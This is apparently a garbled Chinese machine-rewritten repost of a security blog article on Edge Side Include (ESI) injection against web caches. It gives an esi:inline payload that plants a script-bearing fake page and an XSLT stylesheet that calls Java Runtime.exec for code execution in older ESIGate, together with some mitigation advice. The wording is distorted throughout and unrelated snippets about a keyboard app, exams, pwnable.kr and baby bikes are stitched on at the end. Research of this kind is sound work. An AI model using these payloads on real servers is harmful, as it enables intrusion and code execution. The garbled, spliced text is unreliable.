上年,大家发布了一篇名为《在页面中注入ESI标记来蒙骗web缓存文件 *** 商》(已汉语翻译,译文翻译详细地址)的blog,2018年8月,大家的朋友Louis Dion-Marcil在Defcon极客交流会上提到了GoSecure侵入检测精英团队发觉的ESI注入。针对这些很感兴趣的人,该幻灯片已在Defcon YouTube频道栏目上公布。Defcon和Black Hat使我们还有机会见到ESI注入怎样根据手机客户端Web电脑浏览器造成对话泄露,而不依靠一切故意JavaScript。ESI是一种标准,它以XML标记的方式界定了由缓存服务器表述的句子。这种句子根据组成来源于外界資源的各种各样HTML精彩片段来叙述网页页面的內容。攻击者能够在捕获的网页页面中注入故意标记来乱用此体制。
本文的目地是展现之一篇文章内容以后的发觉。这种发觉是适用特殊完成的进攻空间向量。本文也是叙述相对难题的减轻对策的优良服务平台。
下列是3种新的ESI注入 *** :
ESI内联精彩片段
从XMLcss样式表语音转换器(XSLT)到远程控制代码执行
ESI包括中的头注入
ESI速学课程内容
ESI句子由一些web应用回到,这种web应用的页面必须被缓存文件,可是在其中一些原素又必须被规律性的更新。下列是一个HTML页面的事例,它应用了esi:include句子,该句子会回到给缓存服务器解决。
body>
b>The Weather Websiteb>
Weather for esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
由web缺少对象的HTML页面(ESI解决前)The Weather WebsiteWeather for MontrealMonday: -5 °CTuesday: -7 °C[…]由缓存服务器解决完了的最后页面
攻击者能够根据在缓存服务器解决的页面中反射一个值来开启这种特点。
假如想掌握大量,你能回望一下大家有关这一话题讨论发布的之一篇文章内容(译文翻译详细地址)
1.ESI内联精彩片段
精彩片段是一个标记,它界定储存到缓存文件中的內容。这种內容稍候将被应用,并与“name”中界定的途径关联。名叫“fetchable”的可选择特性界定了该資源是对外界客户能用(true)還是只对ESI能用(false)。仅有极少数经销商适用esi:inline。
Apache Traffic Server、Squid及其Varnish不兼容这一句子,即便 它是ESI规范的一部分。殊不知它在Oracle Web Cache 11g这类缓存文件解决 *** 中被完成了。
下边是一个故意payload的事例,它会建立一个虚似页面attack.html。
esi:inline name="/attack.html" fetchable="yes">
script>prompt('Malicious script')script>
esi:inline>
从攻击者的视角看来,此作用可用以环境污染目前資源(如JavaScript)以掩藏故意侧门。它也可以用以代管故意页面或二进制文件。
从受害人视角见到的被环境污染的页面或資源
这一进攻空间向量是看完《Oracle应用服务器Web缓存:管理员指南》后发觉的。
减轻对策
沒有配备能够限定该类进攻,由于标记是内嵌的作用。更好是的安全防护是保证你的web框架会在展现結果主视图前将HTML前后文转义。
假如您已不应用ESI,则能够终止回到标题文字“Surrogate-Control”,以防止缓存服务器分析一切ESI精彩片段。
根据XMLcss样式表语音转换器(XSLT)得到 远程控制代码执行
一些经销商完成了包括XML內容的工作能力,这种XML內容历经了XMLcss样式表语音转换器,在其中仅有一种状况是易受攻击的。它是由Benoit Coté-Jodoin应用Find Security Bugs寻找的。大家将详细介绍这类漏洞检测情景,它将危害版本号小于5.3的ESIGate。
开启XSLT处理方式
基本esi:include标识有下列方式:
esi:include src="" stylesheet="/news_template.xsl">esi:include>
运用此系统漏洞的必要条件与之前的进攻相近。攻击者务必可以在缓存文件的页面中反射含有XML标记的值。一旦在网站上寻找一个反射值,攻击者便会在HTTP回应中反射下列合理负荷。
esi:include src="" stylesheet="">esi:include>
从XMLcss样式表语音转换器(XSLT)到远程控制代码执行
当包括的标记具备远程控制css样式表时,ESI-Gate会全自动开启XSLT解决。默认设置状况下,Java中的XML在线解析容许导进Java涵数。如下列款式表明例所显示,这非常容易造成随意代码执行。
xml version="1.0" ?>
xsl:stylesheet version="1.0" xmlns:xsl="">
xsl:output method="xml" omit-xml-declaration="yes"/>
xsl:template match="/"
xmlns:xsl=""
xmlns:rt="">
root>
xsl:variable name="cmd">xsl:variable>
xsl:variable name="rtObj" select="rt:getRuntime()"/>
xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: xsl:value-of select="$process"/>
Command: xsl:value-of select="$cmd"/>
root>
xsl:template>
xsl:stylesheet>
中国搜索巨头百度已经悄然发布了TalkType的早期预览,这是一款适用于Android设备的虚拟键盘,可让您将语音作为主要输入法。你所要做的就是点击键盘中间的麦克风图标开始说话,百度会快速而恰当地准确...
中新网客户端北京11月24日电(杨雨奇)2020年度中央机关及其直属机构公务员招考笔试今日开考。本次国考共计划招录2.4万人,涉及中央和国家机关86个单位、23个直属机构,共计143.7万人通过报名资...
这一系列文章为pwnable.krToddlr’s Bottle的全部题解,其中有三道题目相对而言稍难或者说比较经典,单独成篇,其他题目的题解放在一起发出来。 0x02fd Ssh连接 看一下目录...
现在大学生的学习生活,相较于高中时期有很多的空闲时间,因此不少大学生都选择做一些小生意或者是其他的创业项目,不过毕竟大学生的资源有限,因此不少大学生都选择利用电脑进行创业赚钱。下面我们就来看看,大学生...
孩子小时候学自行车是锻炼平衡感的好机会,现在市面上也有很多专门给宝宝设计的平衡车品牌,下面友谊长存的小编就来说说:宝宝平衡车哪个品牌好 力士盟宝宝平衡车好用吗。 力士盟宝宝平衡车好用吗 收到产品...
在日常生活中相信大家都有过这样的经历,那就是睡到半夜突然醒来,而且还伴随口干口苦的情况,大多数人都认为这是身体缺水了,在这个时候也会大量的为身体补充水分。 但是有些人也会发现,喝水之后只是暂时的缓解...